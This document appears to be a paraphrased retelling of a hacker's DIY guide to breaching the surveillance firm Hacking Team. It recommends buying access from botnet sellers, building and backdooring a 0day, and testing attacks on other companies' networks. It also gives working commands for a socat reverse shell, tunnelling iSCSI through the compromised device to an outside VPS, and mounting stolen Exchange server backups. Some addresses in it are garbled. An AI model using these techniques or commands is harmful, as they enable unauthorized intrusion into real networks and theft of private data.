In Hacking Back: A DIY Guide, the author introduced the reader to the philosophy behind the hack back movement. Furthermore, the first section covered some security aspects that are important to hacking back.
In this section, the author covers more of the technical aspect of hacking: entering networks, social engineering, buying access, technological exploitation, among other things.
Hack Back 5.0: Entering the Network
Various ways to get a foothold on a system’s security exist, depending on what the attacker wants to achieve. Since the author’s method used against Hacking Team is uncommon, entailing more work than usual, the author covers the two most common methods first; ways the author recommends trying first.
Hack Back 5.1: Social Engineering
Social engineering is crucial to hacking. For example, the bulk of attacks employ spear phishing. The author didn’t apply spear phishing on Hacking Team since it is their key method. The group would have recognized and investigated any attempt at spear phishing. The result leading to failure before the mission ever got underway.
Hack Back 5.2: Buying Access
Give a big thanks to hardworking Russian hackers with their exploit kits, traffic sellers, and bot herders. A large number of companies have compromised computers in their networks. In addition to that, a large percentage of Fortune 500 corporations, with their massive networks, have bots inside. Nevertheless, small companies like Hacking Team employ infosec experts, which means finding a loophole in their system unlikely.
Hack Back 5.3: Technical Exploitation
For the sake of example, Hacking Team has one public IP range: inetnum: 184.108.40.206 through 220.127.116.11 descr: HT public subnet. They exposed very little to the Internet. Unlike Gamma Group, Hacking Team’s customer support site needed a client certificate to connect. They had the main website, mail server, some routers, two VPN appliances, and spam filtering.
The one option available to the author involved looking for a 0day in either Joomla, postfix or one of the embedded devices. The author figured that a 0day in an embedded device seemed the easiest option. Two weeks of reverse engineering led to a remote root exploit. For more information about 0day in Joomla, postfix, or an embedded device, visit these resources.
Hack Back 6.0: Be Prepared
Before using the exploit against Hacking Team, the author did a lot of work and testing. The author wrote “backdoored firmware” to protect the exploit. Additionally, they compiled a variety of post-exploitation tools for embedded devices. Using the exploit just once and then returning through the backdoor makes it harder to identify and patch the vulnerabilities. Here is a list of those post-exploitation tools.
- BusyBox. This is for the standard Unix utilities the system lacks.
- Responder.py. The most useful tool for attacking windows networks when you have access to
the internal network, but no domain user.
- Python. To execute Responder.py.
- tcpdump. For sniffing traffic.
- dsniff. For sniffing passwords from plaintext protocols like ftp, and for
- socat. For a comfortable shell with a pty use the following code:
my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:my_server:my_port
- screen. This allows you to feel at home in the target’s network.
- SOCKS proxy server.
- tgcd. For forwarding ports, like for the SOCKS server, through the firewall.
Furthermore, the worst that could happen would be the backdoor or post-exploitation tools causing the system to become unstable. This instability would lead to an employee to investigate why. In other words, week or more should be spent testing the exploit, backdoor, and post-exploitation tools in other vulnerable companies’ networks. Once everything checks out, you can enter the targets’ network.
Hack Back 7.0: Watch and Listen
Now, once inside their internal network, you will want to take a look around and think about my next step. Starting with Responder.py, conduct a slow scan with nmap in analysis mode (-A to listen without sending poisoned responses).
Hack Back 8.0: NoSQL Databases
NoSQL (NoAuthentication) proved to be a big gift to the hacker community. New databases came into style lacking authentication by design. This quelled any fears by those who feared the authentication bypass bugs had been patched. Therefore, nmap found this flaw in the Hacking Team’s internal network.
27017/tcp open mongodb MongoDB 2.6.5 | mongodb-databases: | ok = 1 | totalSizeMb = 47547 | totalSize = 49856643072 ... |_ version = 2.6.5 27017/tcp open mongodb MongoDB 2.6.5 | mongodb-databases: | ok = 1 | totalSizeMb = 31987 | totalSize = 33540800512 | databases ... |_ version = 2.6.5
What you see above are databases for testing instances of RCS. As it happens, those RCS records were stored in MongoDB with GridFS. The audio folder in the torrent came from this. Thus, without knowing it, they were spying on themselves, leaving a way open for others to do the same thing.
Hack Back 9.0: Crossed Cables
It might be fun to listen to recordings and watch webcam videos of your victim but it’s not useful. Rather, the insecurity lies within their insecure backups. According to Hacking Team’s documentation, the iSCSI devices were supposed to be on separate networks. Nevertheless, nmap found a few in the subnetwork 192.168.1.200/24:
Nmap scan report for ht-Synology hackingteam.local (192.168.20066)
... 3260/tcp open iscsi? | iscsi-info: | Target: iqn.2000-01.com.synology:ht-synology.name | Address: 192.168.200.66:3260,0 |_ Authentication: No authentication required Nmap scan report for synology-backup.hackingteam.local (192.168.200.72) ... 3260/tcp open iscsi? | iscsi-info: | Target: iqn.2000-01.com.synology:synology-backup.name | Address: 10.0.1.72:3260,0 | Address: 192.168.200.72:3260,0 |_ Authentication: No authentication required
iSCSI needs a kernel module. So, it would’ve been difficult to compile it for the embedded system. Therefore, forwarded the port so that I could mount it from a VPS:
VPS: tgcd -L -p 3260 -q 42838 Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1.
The way to solve this:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
And now this:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
When the device appears, you mount it.
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
Find backups from various virtual machines. Exchanger servers seem the most interesting. Since the size is too big to download, mounting remotely allows you to look for interesting files.
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk $ fdisk -l /dev/loop0 /dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT so the offset is 2048 * 512 = 1048576 $ losetup -o 1048576 /dev/loop1 /dev/loop0 $ mount -o ro /dev/loop1 /mnt/exchange/ now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 we find the hard disk of the VM, and mount it: vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/ mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
And finally, we’ve unpacked the Russian doll and can see all the files from the old Exchange server in /mnt/part1.